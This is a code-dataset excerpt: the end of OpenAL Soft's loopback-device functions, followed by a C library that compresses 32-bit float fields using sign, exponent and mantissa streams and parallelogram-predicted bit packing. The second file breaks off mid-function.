device->MaxNoOfSources = 256; device->AuxiliaryEffectSlotMax = 4; device->NumAuxSends = MAX_SENDS; InitUIntMap(&device->BufferMap, ~0); InitUIntMap(&device->EffectMap, ~0); InitUIntMap(&device->FilterMap, ~0); //Set output format device->NumUpdates = 0; device->UpdateSize = 0; device->Frequency = DEFAULT_OUTPUT_RATE; device->FmtChans = DevFmtChannelsDefault; device->FmtType = DevFmtTypeDefault; ConfigValueUInt(NULL, "sources", &device->MaxNoOfSources); if(device->MaxNoOfSources == 0) device->MaxNoOfSources = 256; ConfigValueUInt(NULL, "slots", &device->AuxiliaryEffectSlotMax); if(device->AuxiliaryEffectSlotMax == 0) device->AuxiliaryEffectSlotMax = 4; ConfigValueUInt(NULL, "sends", &device->NumAuxSends); if(device->NumAuxSends > MAX_SENDS) device->NumAuxSends = MAX_SENDS; device->NumStereoSources = 1; device->NumMonoSources = device->MaxNoOfSources - device->NumStereoSources; // Open the "backend" ALCdevice_OpenPlayback(device, "Loopback"); do { device->next = DeviceList; } while(!CompExchangePtr((XchgPtr*)&DeviceList, device->next, device)); TRACE("Created device %p\n", device); return device; } /* alcIsRenderFormatSupportedSOFT * * Determines if the loopback device supports the given format for rendering. */ ALC_API ALCboolean ALC_APIENTRY alcIsRenderFormatSupportedSOFT(ALCdevice *device, ALCsizei freq, ALCenum channels, ALCenum type) { ALCboolean ret = ALC_FALSE; if(!(device=VerifyDevice(device)) || device->Type != Loopback) alcSetError(device, ALC_INVALID_DEVICE); else if(freq <= 0) alcSetError(device, ALC_INVALID_VALUE); else { if(IsValidALCType(type) && BytesFromDevFmt(type) > 0 && IsValidALCChannels(channels) && ChannelsFromDevFmt(channels) > 0 && freq >= MIN_OUTPUT_RATE) ret = ALC_TRUE; } if(device) ALCdevice_DecRef(device); return ret; } /* alcRenderSamplesSOFT * * Renders some samples into a buffer, using the format last set by the * attributes given to alcCreateContext. */ ALC_API void ALC_APIENTRY alcRenderSamplesSOFT(ALCdevice *device, ALCvoid *buffer, ALCsizei samples) { if(!(device=VerifyDevice(device)) || device->Type != Loopback) alcSetError(device, ALC_INVALID_DEVICE); else if(samples < 0 || (samples > 0 && buffer == NULL)) alcSetError(device, ALC_INVALID_VALUE); else aluMixData(device, buffer, samples); if(device) ALCdevice_DecRef(device); }
jims/openal-soft
Alc/ALc.c
C
lgpl-2.1
89,222
#include <math.h> #include <stdlib.h> #include <stdio.h> #include <rpnmacros.h> #include <unistd.h> #include <zfstlib.h> #include <malloc.h> #include <string.h> int c_armn_compress32(unsigned char *, float *, int, int, int, int); int c_armn_uncompress32(float *fld, unsigned char *zstream, int ni, int nj, int nk, int nchiffres_sign); int c_fstzip32(unsigned int *zfld, unsigned int *fld, int ni, int nj, int nk, int step, int nbits, int remaining_space); int c_fstzip_parallelogram32(unsigned int *zfld, int *zlng, unsigned int *fld, int ni, int nj, int step, int nbits, word *header); int f77name(armn_compress32)(unsigned char *, float *, int *, int *, int *, int *); int f77name(armn_uncompress32)(float *fld, unsigned char *zstream, int *ni, int *nj, int *nk, int *nchiffres_sign); void c_fstunzip(unsigned int *fld, unsigned int *zfld, int ni, int nj, int nbits); void pack1bitRLE(unsigned int z[], unsigned int *zlng, unsigned char ufld[], int npts); void packTokensParallelogram(unsigned int z[], unsigned int *zlng, unsigned short ufld[], int ni, int nj, int nbits, int istep, word *header); void packTokensParallelogram32(unsigned int z[], int *zlng, unsigned int ufld[], int ni, int nj, int nbits, int istep, int remaining_space); void packTokensParallelogram_8(unsigned int z[], unsigned int *zlng, unsigned char ufld[], int ni, int nj, int nbits, int istep); void pack_stream_nbits_32(unsigned int z[], unsigned int *zlng, unsigned int ufld[], int npts, int nbits); void unpackTokensParallelogram(unsigned short ufld[], unsigned int z[], int ni, int nj, int nbits, int istep, word *header); void unpackTokensParallelogram32(unsigned int ufld[], unsigned int z[], int ni, int nj, int nbits, int istep); void unpackTokensParallelogram_8(unsigned char ufld[], unsigned int z[], int ni, int nj, int nbits, int istep); int compact_mask_char(unsigned int *dest, unsigned char *src, int npts); int uncompact_mask_char(int *dest, unsigned int *src, int npts); void pack1bitRLE(unsigned int z[], unsigned int *zlng, unsigned char ufld[], int npts); void pack_stream_nbits_16(unsigned int z[], unsigned int *zlng, unsigned short ufld[], int npts, int nbits); void pack_stream_nbits_32(unsigned int z[], unsigned int *zlng, unsigned int ufld[], int npts, int nbits); void pack_stream_nbits_8(unsigned int z[], unsigned int *zlng, unsigned char ufld[], int npts, int nbits); void unpack1bitRLE(unsigned char ufld[], unsigned int z[], unsigned int *zlng, int npts); void unpack_stream_nbits_16(unsigned short ufld[], unsigned int z[], int npts, int nbits); void unpack_stream_nbits_32(unsigned int ufld[], unsigned int z[], int npts, int nbits); void unpack_stream_nbits_8(unsigned char ufld[], unsigned int z[], int npts, int nbits); #define MEME_SIGNE_POSITIF 0x00 #define MEME_SIGNE_NEGATIF 0x10 #define DIFF_SIGNE_PACKED 0x20 #define DIFF_SIGNE_STREAM 0x30 #define MEME_EXPOSANT 0x00 #define DIFF_EXPOSANT_PACKED 0x08 #define DIFF_EXPOSANT_STREAM 0x0C #define MANTISSE_PACKED 0x00 #define MANTISSE_STREAM 0x01 #define SEQUENCE 0 #define COUNT 1 #define ZERO 0 #define UN 1 static unsigned char fastlog[256]; static int once = 0; extern int zfst_msglevel; int f77name(armn_compress32)(unsigned char *zstream, float *fld, int *ni, int *nj, int *nk, int *nbits) { return c_armn_compress32(zstream, fld, *ni, *nj, *nk, *nbits); } int c_armn_compress32(unsigned char *zstream, float *fld, int ni, int nj, int nk, int znbits) { float *p_fld; int i, meme_signe, remaining_space; int nbits; unsigned char *exposant, *exposant2; unsigned char *le_pointeur, *pos_lng_signe, *pos_lng_exposant, *pos_lng_mantisse; unsigned char *signe, *zsigne, code_signe, code_exposant, code_mantisse; unsigned char codes; unsigned int *mantisse, *mantisse_stream, *la_mantisse,*zmantisse, exp_base; unsigned int *temp; unsigned int exp_min, exp_max, *zexposant; unsigned int le_signe_or, le_signe_and; unsigned int npts, zlng, lng_signe, lng_exposant,lng_mantisse,nbits_needed; unsigned int zieee_info; _fstzip zfstzip; _floatint r_exp_max; if (ni < 16 || nj < 16) { zlng = -1; fprintf(stderr, "*** <armn_compress32> : The dimensions of NI and NJ have to be > 16\n"); return zlng; } nbits = znbits - 9; memset(&zfstzip, (int)NULL, sizeof(_fstzip)); zfstzip.predictor_type = PARALLELOGRAM32; zfstzip.step = 3; zfstzip.degree = 1; zfstzip.nbits = nbits; zfstzip.levels = 1; zfstzip.version = 2; mantisse_stream = NULL; pos_lng_signe = NULL; npts = ni * nj; signe = (unsigned char *) malloc(2*npts * sizeof(unsigned char)); zsigne = (unsigned char *) malloc(2*npts * sizeof(unsigned char)); exposant = (unsigned char *) malloc(2*npts * sizeof(unsigned char)); exposant2 = (unsigned char *) malloc(2*npts * sizeof(unsigned char)); zexposant = (unsigned int *) malloc(npts*sizeof(unsigned int)); mantisse = (unsigned int *) malloc(2*npts * sizeof(unsigned int)); zmantisse = (unsigned int *) malloc(2*npts * sizeof(unsigned int)); le_signe_or = 0; le_signe_and = 0xFFFFFFFF; p_fld = fld; for (i=0; i < npts; i++) { temp = (unsigned int *) p_fld; signe[i] = *temp >> 31; le_signe_or |= *temp; le_signe_and &= *temp; exposant[i] = (*temp >> 23) & 0xff; exposant2[i] = exposant[i]; mantisse[i] = (*temp & 0x07fffff); p_fld++; } if (nbits < 23) { for (i=0; i < npts; i++) { mantisse[i] = (mantisse[i] >> (23-nbits)); } } meme_signe=0; if ((le_signe_or>>31) == (le_signe_and>>31)) { meme_signe=1; } exp_min = exposant2[0]; exp_max = exp_min; for (i=0; i < npts; i++) { if (exposant2[i] < exp_min) exp_min = exposant2[i]; if (exposant2[i] > exp_max) exp_max = exposant2[i]; } exp_base = exp_min; exp_max = exp_max - exp_min; exp_min = 0; for (i=0; i < npts; i++) { exposant2[i] = exposant2[i]- exp_base; } if (exp_max == exp_min) { nbits_needed =0; } else { nbits_needed =(int)(1+log(exp_max+0.5)/log(2.0)); r_exp_max.f = (float)(exp_max); nbits_needed = (r_exp_max.i >> 23) - 126; } /* ------------------- Encodage du stream de signe ------------------------- */ le_pointeur = &(zstream[8]); if (meme_signe == 1) { lng_signe = 0; if ((le_signe_or >> 31) == 1) { code_signe = MEME_SIGNE_NEGATIF; } else { code_signe = MEME_SIGNE_POSITIF; } } else { pos_lng_signe = le_pointeur; le_pointeur += sizeof(unsigned int); pack1bitRLE((unsigned int *)le_pointeur, &lng_signe, signe, npts); code_signe = DIFF_SIGNE_PACKED; } if (lng_signe > (npts/4)) { compact_mask_char((unsigned int *) le_pointeur, signe, npts); lng_signe = 1 + (npts >> 5); code_signe = DIFF_SIGNE_STREAM; } if (0 != (lng_signe%4)) { lng_signe += (4 - (lng_signe%4)); } le_pointeur+= lng_signe; if (code_signe == DIFF_SIGNE_PACKED || code_signe == DIFF_SIGNE_STREAM ) { memcpy(pos_lng_signe, &lng_signe, sizeof(unsigned int)); } /* ------------------- Encodage du stream d'exposants ------------------------- */ pos_lng_exposant = le_pointeur; if (nbits_needed == 0) { lng_exposant = 0; code_exposant = MEME_EXPOSANT; } else { code_exposant = DIFF_EXPOSANT_PACKED; le_pointeur += sizeof(unsigned int); packTokensParallelogram_8((unsigned int *)le_pointeur, &lng_exposant, exposant2, ni, nj, nbits_needed, 3); if (lng_exposant > ni*nj) { zlng = -1; fprintf(stderr, "*** <armn_compress32> : Exponent range too large\n"); fprintf(stderr, "*** <armn_compress32> : Original field left uncompressed\n"); return zlng; /*pack_stream_nbits_8((unsigned int *)le_pointeur, &lng_exposant, exposant2, npts, nbits_needed); code_exposant = DIFF_EXPOSANT_STREAM;*/ } if (0 != (lng_exposant%4)) { lng_exposant += 4 - (lng_exposant%4); } memcpy(pos_lng_exposant, &lng_exposant, sizeof(unsigned int)); le_pointeur += lng_exposant; } /* ------------------- Encodage du stream de mantisse ------------------------- */ pos_lng_mantisse = le_pointeur; le_pointeur += sizeof(unsigned int); code_mantisse = MANTISSE_PACKED; remaining_space = (ni*nj*znbits)/32; remaining_space = remaining_space - (le_pointeur - zstream)/sizeof(unsigned int); lng_mantisse = c_fstzip32((unsigned int *)le_pointeur, mantisse, ni, nj, nk, zfstzip.step, nbits, remaining_space); la_mantisse = zmantisse; if (lng_mantisse == 0) { free(signe); free(zsigne); free(exposant); free(exposant2); free(zexposant); if (la_mantisse != mantisse) { free(mantisse_stream); } free(mantisse); free(zmantisse); return -1; } if (0 != (lng_mantisse%4)) { lng_mantisse += 4 - (lng_mantisse%4); } memcpy(pos_lng_mantisse, &lng_signe, sizeof(unsigned int)); /* ------------------- ------------------------------- ------------------------- */ /* ------------------- ----------- Assemblage final ------------------- */ /* ------------------- Entete et codes ------------------- */ zstream[0] = (unsigned char)'\0'; i = 0; memcpy(&zstream[0], &zfstzip, sizeof(unsigned int)); zieee_info = 0; i+= sizeof(unsigned int); codes = (unsigned char)(code_signe | code_exposant | code_mantisse); zieee_info = ((unsigned char) exp_base) << 16; zieee_info = zieee_info | ((unsigned char)nbits_needed) << 8; zieee_info = zieee_info | (unsigned char) codes; memcpy(&zstream[i], &zieee_info, sizeof(unsigned int)); i+=sizeof(unsigned int); le_pointeur += lng_mantisse; zlng = le_pointeur - zstream; /* ---------------- Menage avant de s'en aller ------------------- */ free(signe); free(zsigne); free(exposant); free(exposant2); free(zexposant); if (la_mantisse != mantisse) { free(mantisse_stream); } free(mantisse); free(zmantisse); return zlng; } int f77name(armn_uncompress32)(float *fld, unsigned char *zstream, int *ni, int *nj, int *nk, int *nbits) { return c_armn_uncompress32(fld, zstream, *ni, *nj, *nk, *nbits); } int c_armn_uncompress32(float *fld, unsigned char *zstream, int ni, int nj, int nk, int znbits) { _fstzip zfstzip; int bitPackInWord, saut, zlng; int i, nbits_mantisse, nbits; unsigned char *exposant, *exposant2; unsigned char *signe, *zsigne, code_signe, code_exposant, code_mantisse; unsigned char codes; unsigned int *cur, curword, nbits_needed_exposant; unsigned int *mantisse; unsigned int *temp; unsigned int exp_min; unsigned int npts, lng_signe, lng_exposant,lng_mantisse, zieee_info; npts = ni * nj; signe = (unsigned char *) malloc(2*npts * sizeof(unsigned char)); zsigne = (unsigned char *) malloc(2*npts * sizeof(unsigned char)); exposant = (unsigned char *) malloc(2*npts * sizeof(unsigned char)); exposant2 = (unsigned char *) malloc(2*npts * sizeof(unsigned char)); mantisse = (unsigned int *) malloc(2*npts * sizeof(unsigned int)); bitPackInWord = 32; cur = (unsigned int *)zstream; curword = *cur; memcpy(&zfstzip, cur, sizeof(unsigned int)); cur++; memcpy(&zieee_info, cur, sizeof(unsigned int)); cur++; exp_min = zieee_info >> 16; nbits_needed_exposant = (zieee_info >> 8) & 0xFF; nbits_mantisse = zfstzip.nbits; nbits = nbits_mantisse; codes = zieee_info& 0xFF; code_signe = (codes & 0x30); code_exposant = (codes & 0xC); code_mantisse = (codes & 0x3); if (code_signe == DIFF_SIGNE_PACKED || code_signe == DIFF_SIGNE_STREAM) { memcpy(&lng_signe, cur, sizeof(unsigned int)); cur++; unpack1bitRLE(signe, cur, (unsigned int *)&zlng,npts); saut = (lng_signe >> 2); cur += saut; } else { if (code_signe == MEME_SIGNE_POSITIF) { for (i=0; i < npts; i++) { signe[i] = 0; } } else { for (i=0; i < npts; i++) { signe[i] = 1; } } } if (code_exposant == DIFF_EXPOSANT_PACKED || code_exposant == DIFF_EXPOSANT_STREAM) { memcpy(&lng_exposant, cur, sizeof(unsigned int)); cur++; unpackTokensParallelogram_8(exposant2, cur, ni, nj, nbits_needed_exposant, 3); /* lng_exposant = armn_compress(exposant2, *ni, *nj, *nk, nbits_needed_exposant, 2);*/ saut = (lng_exposant >> 2); cur += saut; for (i=0; i < npts; i++) { exposant2[i] = exposant2[i] + exp_min; } } else { for (i=0; i < npts; i++) { exposant2[i] = exp_min; } } memcpy(&lng_mantisse, cur, sizeof(unsigned int)); cur++; if (code_mantisse == MANTISSE_PACKED) { unpackTokensParallelogram32(mantisse, cur, ni, nj, nbits_mantisse, 3); } else { unpack_stream_nbits_32(mantisse, cur, npts, nbits_mantisse); } switch(code_signe) { case MEME_SIGNE_POSITIF: for (i=0; i < npts; i++) { temp = (unsigned int *)&fld[i]; *temp = 0; *temp |= (exposant2[i] << 23); *temp |= (mantisse[i] << (23-nbits)); } break; case MEME_SIGNE_NEGATIF: for (i=0; i < npts; i++) { temp = (unsigned int *)&fld[i]; *temp = 0x80000000; *temp = *temp | (exposant2[i] << 23); *temp = *temp | (mantisse[i] << (23-nbits)); } break; default: for (i=0; i < npts; i++) { temp = (unsigned int *)&fld[i]; *temp = signe[i] << 31; *temp |= (exposant2[i] << 23); *temp |= (mantisse[i] << (23-nbits)); } break; } free(signe); free(zsigne); free(exposant); free(exposant2); free(mantisse); return ni*nj; } int c_fstzip32(unsigned int *zfld, unsigned int *fld, int ni, int nj, int nk, int step, int nbits, int remaining_space) { int zlng, lng_origin; lng_origin = (1+(ni*nj*nk*1.0*nbits)/8); if (ni == 1 || nj == 1) { return lng_origin; } packTokensParallelogram32(zfld, &zlng, fld, ni, nj, step, nbits, remaining_space); if (zlng == 0 && zfst_msglevel <= 2) { fprintf(stdout, "IEEE compressed field is larger than original... Returning original\n\n"); return 0; } return zlng; } void packTokensParallelogram32(unsigned int z[], int *zlng, unsigned int ufld[], int ni, int nj, int istep, int nbits, int remaining_space) { _floatint r_lmax; int *ufld_dst; int k22, nbits2; int lcl_m, lcl_n; int local_max; unsigned int *cur; unsigned int i, j, k, m, n; unsigned int lastWordShifted, spaceInLastWord, lastSlot; unsigned int lcl, nbits_needed; unsigned int nbits_req_container, token; lastSlot = 0; cur = z; ufld_dst=(int *) malloc(ni*nj*sizeof(int)); for (j=1; j <= nj; j++) { k = FTN2C(1,j,ni); ufld_dst[k] = 0; } for (i=1; i <= ni; i++) { k = FTN2C(i,1,ni); ufld_dst[k] = 0; } for (j=2; j<=nj; j++) { for (i=2; i <=ni; i++) { k22 = FTN2C(i, j, ni); ufld_dst[k22] = ufld[k22] - (ufld[k22-ni]+ufld[k22-1]-ufld[k22-1-ni]); } } nbits_req_container = 5; lastWordShifted = 0; spaceInLastWord = 32; *cur = 0; stuff(nbits_req_container, cur, 32, istep, lastWordShifted, spaceInLastWord); for (i=1; i <= ni; i++) { k = FTN2C(i,1,ni); stuff(ufld[k], cur, 32, nbits, lastWordShifted, spaceInLastWord); } for (j=2; j <= nj; j++) { k = FTN2C(1,j,ni); stuff(ufld[k], cur, 32, nbits, lastWordShifted, spaceInLastWord); } for (j=2; j <= nj; j+=istep) { lcl_n = ((j + istep - 1) >= nj ? nj - j : istep - 1); for (i=2; i <= ni; i+=istep) { k = FTN2C(i,j,ni); local_max = ufld_dst[k]; lcl_m = ((i + istep - 1) >= ni ? ni - i : istep - 1); for (n=0; n <= lcl_n; n++) { for (m=0; m <= lcl_m; m++) { k = FTN2C(i+m,j+n,ni); if (local_max < abs(ufld_dst[k])) local_max = abs(ufld_dst[k]); } } if (local_max == 0) { nbits_needed = 0; } else { r_lmax.f = (float)local_max; nbits_needed = (r_lmax.i >> 23) - 126; } stuff(nbits_needed, cur, 32, nbits_req_container, lastWordShifted, spaceInLastWord); switch (nbits_needed) { case 0: break; default: nbits2 = nbits_needed + 1; for (n=0; n <= lcl_n; n++) { for (m=0; m <= lcl_m; m++) { k = FTN2C(i+m,j+n,ni); token = (unsigned int) (ufld_dst[k] & ~((-1)<<nbits2)); stuff(token, cur, 32, nbits2, lastWordShifted, spaceInLastWord); } } if (remaining_space < ((cur - z)+(1+((nbits_needed+9*nbits)>>5)))) { *zlng = 0; return; } break; } } } lcl = 0; stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); *zlng = 1 + (int) (cur-z) * 4; free(ufld_dst); } void unpackTokensParallelogram32(unsigned int ufld[], unsigned int z[], int ni, int nj, int nbits, int istep) { int *ufld_tmp; int bitPackInWord; int i, j, k, m, n; int k11, k12, k21, k22; int lcl_m, lcl_n; unsigned int nbits_needed, curword; unsigned int *cur; unsigned int nbits_req_container, token, nbits2; bitPackInWord = 32; cur = z; curword = *cur; ufld_tmp = (int *) malloc(ni*nj*sizeof(int)); extract(nbits_req_container, cur, 32, istep, curword, bitPackInWord); for (i=1; i <= ni; i++) { k = FTN2C(i,1,ni); extract(token, cur, 32, nbits, curword, bitPackInWord); ufld[k] = token; } for (j=2; j <= nj; j++) { k = FTN2C(1,j,ni); extract(token, cur, 32, nbits, curword, bitPackInWord); ufld[k] = token; } for (j=2; j <= nj; j+=istep) { lcl_n = ((j + istep - 1) >= nj ? nj - j : istep - 1); for (i=2; i <= ni; i+=istep) { lcl_m = ((i + istep - 1) >= ni ? ni - i : istep - 1); extract(nbits_needed, cur, 32, nbits_req_container, curword, bitPackInWord); switch (nbits_needed) { case 0: for (n=0; n <= lcl_n; n++) { for (m=0; m <= lcl_m; m++) { k = FTN2C(i+m,j+n,ni); ufld_tmp[k] = 0; } } break; default: nbits2 = nbits_needed + 1; for (n=0; n <= lcl_n; n++) { for (m=0; m <= lcl_m; m++) { k = FTN2C(i+m,j+n,ni); extract(token, cur, 32, nbits2, curword, bitPackInWord); ufld_tmp[k] = token; ufld_tmp[k] = (ufld_tmp[k] << (32-nbits2)) >> (32-nbits2); } } } } } for (j=2; j<=nj; j++) { for (i=2; i <=ni; i++) { k11 = FTN2C(i-1,j-1,ni); k12 = FTN2C(i-1,j ,ni); k21 = FTN2C(i, j-1,ni); k22 = FTN2C(i, j, ni); ufld[k22] = ufld_tmp[k22] + (ufld[k21]+ufld[k12]-ufld[k11]); } } free(ufld_tmp); } void packTokensParallelogram_8(unsigned int z[], unsigned int *zlng, unsigned char ufld[], int ni, int nj, int nbits, int istep) { float rlog2; int *ufld_dst; int k22, nbits2; int lcl_m, lcl_n; int local_max; unsigned int *cur; unsigned int i, j, k, m, n; unsigned int lastWordShifted, spaceInLastWord, lastSlot; unsigned int lcl, nbits_needed; unsigned int nbits_req_container, token; lastSlot = 0; cur = z; if (once == 0) { rlog2 = 1.0/log(2.0); for (i=0; i < 256; i++) { fastlog[i] = (int)(1+log(i+0.5)*rlog2); } once = 1; } ufld_dst=(int *) malloc(ni*nj*sizeof(int)); for (j=1; j <= nj; j++) { k = FTN2C(1,j,ni); ufld_dst[k] = 0; } for (i=1; i <= ni; i++) { k = FTN2C(i,1,ni); ufld_dst[k] = 0; } for (j=2; j<=nj; j++) { for (i=2; i <=ni; i++) { k22 = FTN2C(i, j, ni); ufld_dst[k22] = ufld[k22] - (ufld[k22-ni]+ufld[k22-1]-ufld[k22-1-ni]); } } nbits_req_container = 4; lastWordShifted = 0; spaceInLastWord = 32; *cur = 0; stuff(nbits_req_container, cur, 32, istep, lastWordShifted, spaceInLastWord); for (i=1; i <= ni; i++) { k = FTN2C(i,1,ni); stuff(ufld[k], cur, 32, nbits, lastWordShifted, spaceInLastWord); } for (j=2; j <= nj; j++) { k = FTN2C(1,j,ni); stuff(ufld[k], cur, 32, nbits, lastWordShifted, spaceInLastWord); } for (j=2; j <= nj; j+=istep) { lcl_n = ((j + istep - 1) >= nj ? nj - j : istep - 1); for (i=2; i <= ni; i+=istep) { k = FTN2C(i,j,ni); local_max = ufld_dst[k]; lcl_m = ((i + istep - 1) >= ni ? ni - i : istep - 1); for (n=0; n <= lcl_n; n++) { for (m=0; m <= lcl_m; m++) { k = FTN2C(i+m,j+n,ni); if (local_max < abs(ufld_dst[k])) local_max = abs(ufld_dst[k]); } } if (local_max == 0) { nbits_needed = 0; } else { if (local_max < 256) { nbits_needed = fastlog[local_max]; } else { nbits_needed = 8 + fastlog[local_max>>8]; } } stuff(nbits_needed, cur, 32, nbits_req_container, lastWordShifted, spaceInLastWord); switch (nbits_needed) { case 0: break; default: nbits2 = nbits_needed + 1; for (n=0; n <= lcl_n; n++) { for (m=0; m <= lcl_m; m++) { k = FTN2C(i+m,j+n,ni); token = (unsigned int) (ufld_dst[k] & ~((-1)<<nbits2)); stuff(token, cur, 32, nbits2, lastWordShifted, spaceInLastWord); } } break; } } } lcl = 0; stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); *zlng = 1 + (int) (cur-z) * 4; free(ufld_dst); } void unpackTokensParallelogram_8(unsigned char ufld[], unsigned int z[], int ni, int nj, int nbits, int istep) { int *ufld_tmp; int bitPackInWord; int i, j, k, m, n; int k11, k12, k21, k22; int lcl_m, lcl_n; unsigned int nbits_needed, curword; unsigned int *cur; unsigned int nbits_req_container, token, nbits2; bitPackInWord = 32; cur = z; curword = *cur; ufld_tmp = (int *) malloc(ni*nj*sizeof(int)); extract(nbits_req_container, cur, 32, istep, curword, bitPackInWord); for (i=1; i <= ni; i++) { k = FTN2C(i,1,ni); extract(token, cur, 32, nbits, curword, bitPackInWord); ufld[k] = token; } for (j=2; j <= nj; j++) { k = FTN2C(1,j,ni); extract(token, cur, 32, nbits, curword, bitPackInWord); ufld[k] = token; } for (j=2; j <= nj; j+=istep) { lcl_n = ((j + istep - 1) >= nj ? nj - j : istep - 1); for (i=2; i <= ni; i+=istep) { lcl_m = ((i + istep - 1) >= ni ? ni - i : istep - 1); extract(nbits_needed, cur, 32, nbits_req_container, curword, bitPackInWord); switch (nbits_needed) { case 0: for (n=0; n <= lcl_n; n++) { for (m=0; m <= lcl_m; m++) { k = FTN2C(i+m,j+n,ni); ufld_tmp[k] = 0; } } break; default: nbits2 = nbits_needed + 1; for (n=0; n <= lcl_n; n++) { for (m=0; m <= lcl_m; m++) { k = FTN2C(i+m,j+n,ni); extract(token, cur, 32, nbits2, curword, bitPackInWord); ufld_tmp[k] = token; ufld_tmp[k] = (ufld_tmp[k] << (32-nbits2)) >> (32-nbits2); } } } } } for (j=2; j<=nj; j++) { for (i=2; i <=ni; i++) { k11 = FTN2C(i-1,j-1,ni); k12 = FTN2C(i-1,j ,ni); k21 = FTN2C(i, j-1,ni); k22 = FTN2C(i, j, ni); ufld[k22] = ufld_tmp[k22] + (ufld[k21]+ufld[k12]-ufld[k11]); } } free(ufld_tmp); } void pack1bitRLE(unsigned int z[], unsigned int *zlng, unsigned char ufld[], int npts) { unsigned int i, j; unsigned int lastWordShifted, spaceInLastWord, lastSlot; unsigned int *cur; unsigned int lcl, indx, last_indx; unsigned char lcl_count; int count, limite, repeat; lastSlot = 0; cur = z; lastWordShifted = 0; spaceInLastWord = 32; *cur = 0; last_indx=0; indx=1; while (indx <= npts) { while (ufld[indx] == ufld[last_indx] && indx < npts) { indx++; } count = indx - last_indx; if (count < 8) { stuff(SEQUENCE, cur, 32, 1, lastWordShifted, spaceInLastWord); limite = (last_indx + 7) > npts ? (npts - last_indx) : 7; for (i=0; i < limite; i++) { stuff(ufld[last_indx+i], cur, 32, 1, lastWordShifted, spaceInLastWord); } last_indx +=7; indx = last_indx + 1; } else { i = 0; repeat = 0; while (i < count) { lcl_count = (count-i) >= 63 ? 62 : (count - i); if (lcl_count < 8) { stuff(SEQUENCE, cur, 32, 1, lastWordShifted, spaceInLastWord); limite = (last_indx + 7) > npts ? (npts - last_indx) : 7; for (j=0; j < limite; j++) { stuff(ufld[last_indx+j], cur, 32, 1, lastWordShifted, spaceInLastWord); } last_indx +=7; indx = last_indx + 1; } else { if (lcl_count == 62) { if ((count - i) > 256 && (repeat == 1)) { lcl_count = 0xFF; stuff(lcl_count, cur, 32, 8,lastWordShifted, spaceInLastWord); last_indx+=lcl_count; indx = last_indx + 1; } else { stuff(COUNT, cur, 32, 1, lastWordShifted, spaceInLastWord); stuff(ufld[last_indx], cur, 32, 1,lastWordShifted, spaceInLastWord); stuff(lcl_count, cur, 32, 6,lastWordShifted, spaceInLastWord); last_indx+=lcl_count; indx = last_indx + 1; repeat = 1; } } else { stuff(COUNT, cur, 32, 1, lastWordShifted, spaceInLastWord); stuff(ufld[last_indx], cur, 32, 1,lastWordShifted, spaceInLastWord); stuff(lcl_count, cur, 32, 6,lastWordShifted, spaceInLastWord); last_indx+=lcl_count; indx = last_indx + 1; } } i += lcl_count; } } } lcl = 0; stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); *zlng = 1 + (int) (cur-z) * 4; } void unpack1bitRLE(unsigned char ufld[], unsigned int z[], unsigned int *zlng, int npts) { unsigned int i, j; unsigned int *cur, seq_type, val, last_val; int count, limite; int bitPackInWord; unsigned int curword; unsigned int token; bitPackInWord = 32; cur = z; curword = *cur; last_val = 0xFFFFFFFF; i = 0; while (i < npts) { extract(seq_type, cur, 32, 1, curword, bitPackInWord); switch(seq_type) { case SEQUENCE: limite = (i + 7) > npts ? (npts - i) : 7; for (j=0; j < limite; j++) { extract(token, cur, 32, 1, curword, bitPackInWord); ufld[i+j] = (unsigned char) token; } i+=limite; break; case COUNT: extract(val, cur, 32, 1, curword, bitPackInWord); extract(count, cur, 32, 6, curword, bitPackInWord); switch (count) { case 63: for (j=0; j < 255; j++) { ufld[i+j] = (unsigned char) last_val; } i+=255; break; default: for (j=0; j < count; j++) { ufld[i+j] = (unsigned char) val; } i+=count; last_val = val; break; } break; } } } int compact_mask_char(unsigned int *dest, unsigned char *src, int npts) { int i,entier, fraction,npts32; npts32 = 1 + (npts >> 5); for (i=0; i < npts32; i++) { dest[i] = 0; } for (i=0; i < npts; i++) { entier = i >> 5; fraction = i - (entier << 5); dest[entier] |= (src[i] << fraction); } return 0; } int uncompact_mask_char(int *dest, unsigned int *src, int npts) { int i,entier, fraction; for (i=0; i < npts; i++) { entier = i >> 5; fraction = i - (entier << 5); dest[i] = (src[entier] & (1 << fraction)) >> fraction; } return 0; } void pack_stream_nbits_32(unsigned int z[], unsigned int *zlng, unsigned int ufld[], int npts, int nbits) { unsigned int i; unsigned int lastWordShifted, spaceInLastWord, lastSlot; unsigned int *cur; unsigned int lcl; lastSlot = 0; cur = z; lastWordShifted = 0; spaceInLastWord = 32; *cur = 0; for (i=0; i < npts; i++) { stuff(ufld[i], cur, 32, nbits, lastWordShifted, spaceInLastWord); } lcl = 0; stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); *zlng = 1 + (int) (cur-z) * 4; } void unpack_stream_nbits_32(unsigned int ufld[], unsigned int z[], int npts, int nbits) { unsigned int i; unsigned int lastSlot; unsigned int *cur; int bitPackInWord; unsigned int curword; lastSlot = 0; cur = z; bitPackInWord = 32; curword = *cur; for (i=0; i < npts; i++) { extract(ufld[i], cur, 32, nbits, curword, bitPackInWord); } } void pack_stream_nbits_16(unsigned int z[], unsigned int *zlng, unsigned short ufld[], int npts, int nbits) { unsigned int i; unsigned int lastWordShifted, spaceInLastWord, lastSlot; unsigned int *cur; unsigned int lcl; lastSlot = 0; cur = z; lastWordShifted = 0; spaceInLastWord = 32; *cur = 0; for (i=0; i < npts; i++) { stuff(ufld[i], cur, 32, nbits, lastWordShifted, spaceInLastWord); } lcl = 0; stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); stuff(lcl, cur, 32, 16, lastWordShifted, spaceInLastWord); *zlng = 1 + (int) (cur-z) * 4; } void unpack_stream_nbits_16(unsigned short ufld[], unsigned int z[], int npts, int nbits) { unsigned int i; unsigned int lastSlot; unsigned int *cur; int bitPackInWord; unsigned int curword; lastSlot = 0; cur = z; bitPackInWord = 32; curword = *cur; for (i=0; i < npts; i++) { extract(ufld[i], cur, 32, nbits, curword, bitPackInWord); } } void pack_stream_nbits_8(unsigned int z[], unsigned int *zlng, unsigned char ufld[], int npts, int nbits) { unsigned int 